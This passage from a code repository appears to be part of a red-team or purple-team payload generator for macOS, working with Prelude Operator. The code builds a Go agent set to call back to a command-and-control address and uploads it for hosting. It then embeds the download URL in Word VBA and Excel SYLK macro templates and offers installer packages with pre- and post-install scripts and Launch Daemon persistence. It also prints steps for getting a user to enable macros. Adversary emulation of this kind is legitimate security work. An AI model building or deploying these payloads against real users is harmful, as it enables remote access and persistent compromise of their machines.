299 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/Office_for_Mac')
300 | dst = module.module_root_path
301 | module.copy_filedir(src, dst)
302 |
303 | template_file = os.path.join(module.module_root_path, 'macro_vba_word.txt')
304 | module.update_template('REMOTE_PAYLOAD_URL',
305 | module.agent.payload_hosting_url, template_file)
306 | module.update_template('TECHNIQUE_NAME',
307 | module.agent.technique_conversion_name, template_file)
308 | module.copy_filedir(template_file, os.path.join(
309 | module.agent.c2.payloads_dir, 'macro_vba_word.txt'))
310 |
311 | instructions = [
312 | 'Copy the macro from Payloads/macro_vba_word.txt to past into Word Doc',
313 | 'When the macro is executed it will save to ~/Library/Containers/com.microsoft.Word/Data/operator-payload"',
314 | 'Note: if Office for Mac 2016 or higher is used, the Apple Sandbox pay prevent this technique from working.'
315 | ]
316 | module.generate_instructions(instructions)
317 |
318 |
319 | def macro_sylk_excel(module):
320 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/Office_for_Mac')
321 | dst = module.module_root_path
322 | module.copy_filedir(src, dst)
323 |
324 | template_file = os.path.join(
325 | module.module_root_path, 'macro_sylk_excel.txt')
326 | module.update_template('REMOTE_PAYLOAD_URL',
327 | module.agent.payload_hosting_url, template_file)
328 | module.update_template('TECHNIQUE_NAME',
329 | module.agent.technique_conversion_name, template_file)
330 | module.copy_filedir(template_file, os.path.join(
331 | module.agent.c2.payloads_dir, 'macro_sylk_excel.slk'))
332 |
333 | instructions = [
334 | 'Double click on the Payloads/macro_sylk_excel.slk file.',
335 | 'Excel should open the file, and prompt user to enable macros."',
336 | 'Note: if Office for Mac 2016 or higher is used, the Apple Sandbox pay prevent this technique from working.'
337 | ]
338 | module.generate_instructions(instructions)
339 |
--------------------------------------------------------------------------------
/src/modules/common.py:
--------------------------------------------------------------------------------
1 | from pick import pick
2 | import yaml
3 | import psutil
4 | import logging
5 | import shutil
6 | import hashlib
7 | import subprocess
8 | import json
9 | import zipfile
10 | import platform
11 | import os
12 | import sys
13 | import argparse
14 | import requests
15 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
16 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
17 |
18 |
19 | logger = logging.getLogger(__name__)
20 |
21 |
22 | def prereqs_present():
23 | if platform.system() != "Darwin":
24 | logger.error("This tool is only supported on macOS.")
25 | return False
26 | if not is_installed("go"):
27 | logger.error("Install golang for macOS.")
28 | return False
29 | if not is_installed("xcodebuild"):
30 | logger.error("Install xcode via the app store.")
31 | return False
32 | if not is_running("Operator"):
33 | logger.error("Prelude Operator needs to be running.")
34 | return False
35 | return True
36 |
37 |
38 | def get_portal_settings():
39 | settings_file = '{}/Library/Application Support/Operator/portal.prelude.org/settings.yml'.format(
40 | os.path.expanduser('~'))
41 |
42 | with open(settings_file, "r") as stream:
43 | try:
44 | portal_settings = yaml.safe_load(stream)
45 | except yaml.YAMLError as exc:
46 | logger.error(exc)
47 | logger.error("[!] You will need to start Operator first.")
48 | sys.exit()
49 |
50 | return portal_settings
51 |
52 |
53 | def get_redirectors():
54 | portal_settings = get_portal_settings()
55 |
56 | all_redirectors = []
57 | tmp_redirector = {}
58 | tmp_redirector['name'] = "localhost"
59 | tmp_redirector['host'] = '127.0.0.1'
60 | tmp_redirector['password'] = portal_settings['public']['token']
61 | all_redirectors.append(tmp_redirector)
62 |
63 | redirectors = portal_settings['private']['redirectors']
64 | for redirector in redirectors.keys():
65 | tmp_redirector = {}
66 | tmp_redirector['name'] = redirector
67 | tmp_redirector['host'] = redirectors[redirector]['host']
68 | tmp_redirector['password'] = redirectors[redirector]['password']
69 | all_redirectors.append(tmp_redirector)
70 |
71 | return all_redirectors
72 |
73 |
74 | def get_agents():
75 | agent_path = os.path.join(os.getcwd(), 'src/agents.json')
76 | with open(agent_path, 'r') as fh:
77 | data = json.load(fh)
78 | return data
79 |
80 |
81 | def get_logger(args):
82 | if args.debug:
83 | logging.basicConfig(
84 | format="%(asctime)-15s %(funcName)15s %(levelname)9s: %(message)s",
85 | level=logging.DEBUG
86 | )
87 |
88 | return logging.getLogger(__name__)
89 |
90 |
91 | def get_parser():
92 | parser = argparse.ArgumentParser()
93 | parser.add_argument('-d', '--debug', action='store_true',
94 | help='for debugging only')
95 | parser.add_argument(
96 | '--ip', type=str, help='Provide IP of redirector', default="0.0.0.0")
97 |
98 | return parser
99 |
100 |
101 | def is_installed(program):
102 | rc = subprocess.call(['which', program], stdout=open(os.devnull, 'wb'))
103 | if rc == 0:
104 | return True
105 | else:
106 | logger.error("Dependecy not installed: {}".format(program))
107 | return False
108 |
109 |
110 | def is_running(program):
111 | return program in (p.name() for p in psutil.process_iter())
112 |
113 |
114 | def get_options():
115 | redirectors = get_redirectors()
116 | agents = get_agents()
117 |
118 | data = {
119 | 'c2_name': 'operator',
120 | 'agent': str,
121 | 'agent-type': str,
122 | 'outpost-filename': str,
123 | 'supported-executables': list,
124 | 'payload-type': str,
125 | 'technique': str,
126 | 'procedure': str,
127 | 'needs-compilation': bool
128 | }
129 |
130 | title = 'Choose your payload:'
131 | options = []
132 | for agent in agents.keys():
133 | options.append(agent)
134 | data['agent'], _ = pick(options, title)
135 |
136 | options = agents[data['agent']]['supported_executables']
137 | data['agent-type'], _ = pick(options, title)
138 |
139 | data['outpost-filename'] = agents[data['agent']]['outpost_filename']
140 | data['needs-compilation'] = agents[data['agent']]['needs-compilation']
141 |
142 | title = 'IMPORTANT: if choosing a redirector, you need to first launch Operator and connect to it before proceeding!\nIMPORTANT: if choosing localhost, you\'ll need to disconnect from the redirector!\n\nChoose Redirector or localhost:'
143 | options = redirectors
144 | data['redirectors'], index = pick(options, title)
145 |
146 | encryption_key = input(
147 | "Enter encryption key (defaults to 'abcdefghijklmnopqrstuvwxyz012345' if left blank) > ")
148 | if not encryption_key:
149 | encryption_key = "abcdefghijklmnopqrstuvwxyz012345"
150 | data['redirectors']['encryption_key'] = encryption_key
151 |
152 | title = 'Choose your initial access vector:'
153 | options = [
154 | 'Installer Packages',
155 | 'Disk Image',
156 | 'Office for Mac'
157 | ]
158 | data['technique'], index = pick(options, title)
159 | if data['technique'] == 'Disk Image':
160 | data['procedure'] = data['technique']
161 |
162 | if data['technique'] == "Installer Packages":
163 | title = 'Choose your Installer Package option:'
164 | options = [
165 | 'Installer Package w/ only preinstall script',
166 | 'Installer Package w/ only postinstall script',
167 | 'Installer Package w/ Launch Daemon for Persistence',
168 | 'Installer Package w/ Installer Plugin',
169 | 'Installer Package w/ JavaScript Functionality embedded',
170 | 'Installer Package w/ JavaScript Functionality in Script',
171 | ]
172 | data['procedure'], index = pick(options, title)
173 | elif data['technique'] == 'Office for Mac':
174 | title = 'Choose your Office for Mac procedure:'
175 | options = [
176 | 'Macro VBA Excel',
177 | 'Macro VBA PowerPoint',
178 | 'Macro VBA Word',
179 | 'Macro SYLK Excel'
180 | ]
181 | data['procedure'], index = pick(options, title)
182 |
183 | technique_conversion = {
184 | 'Installer Package w/ only preinstall script': 'installer-w-preinstall-script',
185 | 'Installer Package w/ only postinstall script': 'installer-w-postinstall-script',
186 | 'Installer Package w/ Launch Daemon for Persistence': 'installer-w-ld',
187 | 'Installer Package w/ Installer Plugin': 'installer-plugin',
188 | 'Installer Package w/ JavaScript Functionality embedded': 'installer-js-embedded',
189 | 'Installer Package w/ JavaScript Functionality in Script': 'installer-js-script',
190 | 'Disk Image': 'disk-image',
191 | 'Macro VBA Excel': 'macro-vba-excel',
192 | 'Macro VBA PowerPoint': 'macro-vba-ppt',
193 | 'Macro VBA Word': 'macro-vba-word',
194 | 'Macro SYLK Excel': 'macro-sylk-excel'
195 | }
196 | data['technique-conversion-name'] = technique_conversion[data['procedure']]
197 |
198 | return data
199 |
200 |
201 | class C2:
202 |
203 | def __init__(self, all_options):
204 |
205 | self.c2_name = all_options['c2_name']
206 | self.agent = all_options['agent']
207 | self.outpost_filename = all_options['outpost-filename']
208 | self.c2_comm_ip = all_options['redirectors']['host']
209 | self.token = all_options['redirectors']['password']
210 | self.session = requests.Session()
211 | self.outpost_url = 'https://professional.outposts-lateralus.prelude.org/ping?extended=1'
212 | self.payloads_url = 'http://{}:3391/payloads'.format(self.c2_comm_ip)
213 | self.appdir = os.getcwd()
214 | self.payloads_dir = 'Payloads'
215 | self.full_payloads_dir = os.path.join(self.appdir,
216 | self.payloads_dir)
217 | self.payload_staging_dir = os.path.join(self.payloads_dir, 'tmp')
218 | self.full_payload_staging_dir = os.path.join(self.appdir,
219 | self.payload_staging_dir)
220 | self.full_downloaded_payload_file = None
221 | self.downloaded_payload_file = None
222 | self.full_payload_remote_location = None
223 | self.payload_remote_location = None
224 |
225 | def rest_call(self, method, url, data=''):
226 | if method == 'GET':
227 | return self.session.get(url)
228 | elif method == 'PUT':
229 | filename = data.split('/')[-1]
230 | return self.session.put(url, files=[("upload", (filename, open(data, "rb"), "application/octet-stream"))], verify=False, headers={'Authorization': self.token})
231 |
232 | def get_payload_remote_location(self):
233 | logger.debug(
234 | "Getting payload remote location: {}".format(self.outpost_url))
235 | if self.c2_name == 'operator':
236 | r_json = self.rest_call('GET', self.outpost_url).json()
237 | for payload in r_json['payloads']:
238 | if payload.endswith(self.outpost_filename):
239 | self.payload_remote_location = payload
240 | break
241 |
242 | self.full_payload_remote_location = os.path.join(
243 | self.payloads_url, self.payload_remote_location)
244 | logger.debug("Set variable: {}".format(
245 | self.full_payload_remote_location))
246 | self.downloaded_payload_file = self.payload_remote_location.split(
247 | '/')[-1]
248 | logger.debug("Set variable: {}".format(
249 | self.downloaded_payload_file))
250 | self.full_downloaded_payload_file = os.path.join(
251 | self.full_payloads_dir, self.downloaded_payload_file)
252 | logger.debug("Set variable: {}".format(
253 | self.full_downloaded_payload_file))
254 |
255 | def get_payload(self):
256 | self.get_payload_remote_location()
257 | if self.c2_name == 'operator':
258 | print("Downloading payload.")
259 | logger.debug("Downloading payload: {}".format(
260 | self.full_payload_remote_location))
261 | r = self.rest_call('GET', self.full_payload_remote_location)
262 | open(os.path.join(self.payloads_dir,
263 | self.downloaded_payload_file), 'wb').write(r.content)
264 |
265 | def extract_zip(self):
266 | extract_dir = os.path.join(self.full_payloads_dir, 'tmp')
267 | logger.debug("Extracting zip '{}' to '{}'".format(
268 | self.full_downloaded_payload_file, extract_dir))
269 | with zipfile.ZipFile(self.full_downloaded_payload_file, 'r') as zip_ref:
270 | zip_ref.extractall(extract_dir)
271 |
272 |
273 | class Agent:
274 | def __init__(self, c2, all_options):
275 | self.payload_destination = os.path.join(
276 | c2.full_payloads_dir, 'operator-payload')
277 | self.agent = all_options['agent']
278 | self.c2_comm_ip = all_options['redirectors']['host']
279 | self.c2_comm_port = '2323'
280 | self.token = all_options['redirectors']['password']
281 | self.encryption_key = all_options['redirectors']['encryption_key']
282 | self.technique_conversion_name = all_options['technique-conversion-name']
283 | self.full_build_script_path = None
284 | self.settings = None
285 | self.full_agent_profile_settings_file = None
286 | self.payload_hosting_url = None
287 | self.c2 = c2
288 | self.agent_src_path = c2.full_payload_staging_dir
289 | self.set_settings_file_path()
290 |
291 | def set_settings_file_path(self):
292 | if self.c2.c2_name == 'operator':
293 | self.full_agent_profile_settings_file = os.path.join(
294 | self.agent_src_path, 'util/conf/default.json')
295 |
296 | def build_operator_agent_config(self):
297 | logger.debug("Building agent config.")
298 | settings = {
299 | 'AESKey': self.encryption_key,
300 | 'Range': 'purple-team',
301 | 'Contact': 'tcp',
302 | 'Address': '{}:{}'.format(self.c2_comm_ip, self.c2_comm_port),
303 | 'Useragent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36',
304 | 'Sleep': 5,
305 | 'KillSleep': 5,
306 | 'CommandJitter': 1,
307 | 'CommandTimeout': 60,
308 | 'Proxy': '',
309 | 'Debug': False,
310 | }
311 | logger.debug("Agent config: {}".format(settings))
312 | self.settings = settings
313 |
314 | def save_c2_profile_settings(self):
315 | logger.debug("Saving agent config to disk")
316 | with open(self.full_agent_profile_settings_file, 'w') as fh:
317 | json.dump(self.settings, fh, indent=2)
318 |
319 | def patch_agent(self, filepath, searchstring, content, action):
320 | # action can be append or replace
321 | with open(filepath, 'r') as fh:
322 | contents = fh.read()
323 | if action == 'replace':
324 | contents = contents.replace(searchstring, content)
325 | elif action == 'append':
326 | content = searchstring + content
327 | contents = contents.replace(searchstring, content)
328 |
329 | with open(filepath, 'w') as fh:
330 | fh.write(contents)
331 | logger.debug("Patched agent file: {}".format(filepath))
332 | logger.debug("with content: {}".format(content))
333 |
334 | def build_agent(self, all_options):
335 | my_env = os.environ.copy()
336 | my_env['GOOS'] = 'darwin'
337 | os.chdir(self.c2.payload_staging_dir)
338 |
339 | cmds = []
340 | if all_options['agent'] == 'PneumaEX' and all_options['agent-type'] == 'exe':
341 | cmd = [
342 | 'go',
343 | 'build',
344 | '-ldflags="-s -w -buildid= -X main.randomHash=${1}"',
345 | '-o',
346 | 'payloads/operator-payload',
347 | 'main.go',
348 | ]
349 | cmds.append(cmd)
350 |
351 | for cmd in cmds:
352 | logger.debug("Building agent (this may take a while).")
353 | print("Building agent (this may take a while).")
354 | subprocess.call(cmd, env=my_env, stdout=open(os.devnull, 'wb'))
355 | logger.debug("Done building agent.")
356 |
357 | self.move_files(os.path.join(self.agent_src_path, 'payloads/operator-payload'),
358 | os.path.join(self.c2.full_payloads_dir, 'operator-payload'))
359 | os.chdir(self.c2.appdir)
360 |
361 | def move_files(self, src, dst):
362 | os.rename(src, dst)
363 | logger.debug("Moved file to {}".format(dst))
364 |
365 | def upload_payload(self):
366 | filename = self.payload_destination.split('/')[-1]
367 | url = 'https://{}:8888/v1/payload'.format(self.c2.c2_comm_ip)
368 | logger.debug("Uploading payload '{}' to {}".format(filename, url))
369 | print("Uploading agent/payload.")
370 | r = self.c2.rest_call(
371 | 'PUT', url, self.payload_destination)
372 | if r.status_code == 200:
373 | logger.debug("Uploaded file successfully: {}".format(filename))
374 | print("Done.")
375 | self.set_payload_remote_url()
376 | else:
377 | logger.error("Upload of file failed: {}".format(filename))
378 | logger.error(r.reason)
379 |
380 | def set_payload_remote_url(self):
381 | payload_hosting_port = '3391'
382 | sha1_hash = self.get_hash_of_file(self.payload_destination)
383 | self.payload_hosting_url = 'http://{}:{}/payloads/{}/{}'.format(
384 | self.c2.c2_comm_ip, payload_hosting_port, sha1_hash, self.payload_destination.split('/')[-1])
385 |
386 | def get_hash_of_file(self, filename):
387 | sha1_hash = hashlib.sha1()
388 | with open(filename, "rb") as f:
389 | # Read and update hash string value in blocks of 4K
390 | for byte_block in iter(lambda: f.read(4096), b""):
391 | sha1_hash.update(byte_block)
392 | return sha1_hash.hexdigest()
393 |
394 |
395 | class ModuleGenerator:
396 | def __init__(self, agent):
397 | self.scripts_dir = None
398 | self.agent = agent
399 |
400 | self.module_root_path = os.path.join(
401 | os.getcwd(), "Payloads/tmp/ModuleGenerator")
402 | logger.debug("ModuleGenerator class created. Root Path set to: {}".format(
403 | self.module_root_path))
404 |
405 | def set_scripts_dir(self, dst):
406 | self.scripts_dir = os.path.join(self.module_root_path, dst)
407 | logger.debug("Set scripts dir to: {}".format(self.scripts_dir))
408 |
409 | def create_dir(self, dst):
410 | path = os.path.join(self.module_root_path, dst)
411 | os.makedirs(path, exist_ok=True)
412 | logger.debug("Made directory: {}".format(path))
413 |
414 | def create_file(self, dst, content):
415 | path = os.path.join(self.module_root_path, dst)
416 | with open(path, 'w') as fh:
417 | if isinstance(content, list):
418 | for line in content:
419 | fh.write("%s\n" % line)
420 | elif isinstance(content, str):
421 | fh.write(content)
422 | logger.debug("Created file: {}".format(path))
423 |
424 | def make_executable(self, dst):
425 | path = os.path.join(self.module_root_path, dst)
426 | os.chmod(path, 0o755)
427 | logger.debug("Made file executable: {}".format(path))
428 |
429 | def run_pkgbuild(self, identifier, output, has_scripts):
430 | if has_scripts:
431 | cmd = [
432 | 'pkgbuild',
433 | '--identifier',
434 | identifier,
435 | '--nopayload',
436 | '--scripts',
437 | self.scripts_dir,
438 | os.path.join(self.agent.c2.full_payloads_dir, output)
439 | ]
440 | else:
441 | cmd = [
442 | 'pkgbuild',
443 | '--identifier',
444 | identifier,
445 | '--nopayload',
446 | os.path.join(self.agent.c2.full_payloads_dir, output)
447 | ]
448 | subprocess.call(cmd, stdout=open(os.devnull, 'wb'))
449 |
450 | def generate_payload(self, type, identifier, output, has_scripts=True):
451 | if type == 'pkgbuild':
452 | self.run_pkgbuild(identifier, output, has_scripts)
453 | elif type == 'productbuild-plugin':
454 | self.run_productbuild(type, identifier, output)
455 | elif type == 'productbuild-js':
456 | self.run_productbuild(type, identifier, output)
457 | elif type == 'productbuild-js-script':
458 | self.run_productbuild(type, identifier, output)
459 |
460 | def move_files(self, src, dst):
461 | dst_path = os.path.join(self.module_root_path, dst)
462 | os.rename(src, dst_path)
463 | logger.debug("Moved file to {}".format(dst_path))
464 |
465 | def generate_cleanup(self, instructions):
466 | print("\n[*] Removal Instructions:")
467 | for instruction in instructions:
468 | print("\t{}".format(instruction))
469 |
470 | def clean_payload_staging(self):
471 | logger.debug("Deleting directory {}".format(
472 | self.agent.c2.payload_staging_dir))
473 | shutil.rmtree(self.agent.c2.full_payload_staging_dir)
474 | files = [
475 | 'pneumaEX.zip'
476 | ]
477 | for file in files:
478 | full_path = os.path.join(self.agent.c2.full_payloads_dir, file)
479 | if os.path.exists(full_path):
480 | os.remove(full_path)
481 | logger.debug("Deleting file: {}".format(full_path))
482 |
483 | def copy_filedir(self, src, dst):
484 | if os.path.isfile(src):
485 | shutil.copyfile(src, dst)
486 | else:
487 | try:
488 | shutil.copytree(src, dst)
489 | logger.debug("Copied Template Folder to '{}'".format(dst))
490 | except OSError:
491 | shutil.rmtree(dst)
492 | shutil.copytree(src, dst)
493 | logger.debug("Overwrote files '{}'".format(dst))
494 |
495 | def update_template(self, src_string, dst_string, filepath):
496 |
497 | with open(os.path.join(self.module_root_path, filepath), 'r') as fh:
498 | contents = fh.read()
499 | contents = contents.replace(src_string, dst_string)
500 | with open(os.path.join(self.module_root_path, filepath), 'w') as fh:
501 | fh.write(contents)
502 | logger.debug("Updated file: {}".format(filepath))
503 | logger.debug("with contents: {}".format(contents))
504 |
505 | def run_xcodebuild(self):
506 | cmd = [
507 | 'xcodebuild',
508 | '-project',
509 | os.path.join(self.module_root_path, 'SpecialDelivery.xcodeproj')
510 | ]
511 | subprocess.call(cmd, stdout=open(os.devnull, 'wb'))
512 |
513 | def run_productbuild(self, type, identifier, output):
514 | if type == 'productbuild-plugin':
515 | cmd = [
516 | 'productbuild',
517 | '--identifier',
518 | identifier,
519 | '--version',
520 | '1',
521 | '--package',
522 | os.path.join(self.module_root_path, 'plugins', output),
523 | '--plugins',
524 | os.path.join(self.module_root_path, 'plugins'),
525 | os.path.join(self.agent.c2.full_payloads_dir, output)
526 | ]
527 | elif type == 'productbuild-js':
528 | cmd = [
529 | 'productbuild',
530 | '--distribution',
531 | os.path.join(self.module_root_path, 'distribution.xml'),
532 | '--package-path',
533 | os.path.join(self.agent.c2.full_payloads_dir, 'install.pkg'),
534 | os.path.join(self.agent.c2.full_payloads_dir, output)
535 | ]
536 | elif type == 'productbuild-js-script':
537 | cmd = [
538 | 'productbuild',
539 | '--distribution',
540 | os.path.join(self.module_root_path, 'distribution.xml'),
541 | '--scripts',
542 | self.scripts_dir,
543 | '--package-path',
544 | os.path.join(self.agent.c2.full_payloads_dir, 'install.pkg'),
545 | os.path.join(self.agent.c2.full_payloads_dir, output)
546 | ]
547 | subprocess.call(cmd, stdout=open(os.devnull, 'wb'))
548 |
549 | def generate_instructions(self, instructions):
550 | print("\n[*] Instructions for payload:")
551 | for instruction in instructions:
552 | print("\t{}".format(instruction))
553 |
--------------------------------------------------------------------------------